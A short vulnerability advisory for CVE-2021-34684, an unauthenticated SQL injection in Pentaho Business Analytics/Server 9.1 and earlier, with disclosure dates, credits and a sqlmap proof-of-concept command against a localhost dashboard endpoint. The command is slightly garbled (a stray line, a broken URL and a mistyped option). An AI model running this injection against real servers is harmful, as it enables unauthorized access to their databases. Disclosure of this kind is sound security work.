

Pentaho Business Analytics / Pentaho Business Server 9.1 SQL Injection

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Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Unauthenticated SQL Injection
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: June 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-34684
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Product Description:

Pentaho is business intelligence (BI) software that provides data integration, OLAP services, reporting, information dashboards, data mining and extract, transform, load (ETL) capabilities. Its headquarters are in Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and in 2017 became part of Hitachi Vantara.

(Source: <https://en.wikipedia.org/wiki/Pentaho>)

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Vulnerability Details:

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Proof of Concept (PoC):

See Ginger (<https://github.com/HawSec/ginger>)

```
order
sqlmap -u "
http://localhost:8080/pentaho/api/repos/dashboards/editor?
command=executeQuery&datasource=pentaho_operations_mart&query="*require-cfg.js"
--dbs --dms=postgresql
```

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Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka

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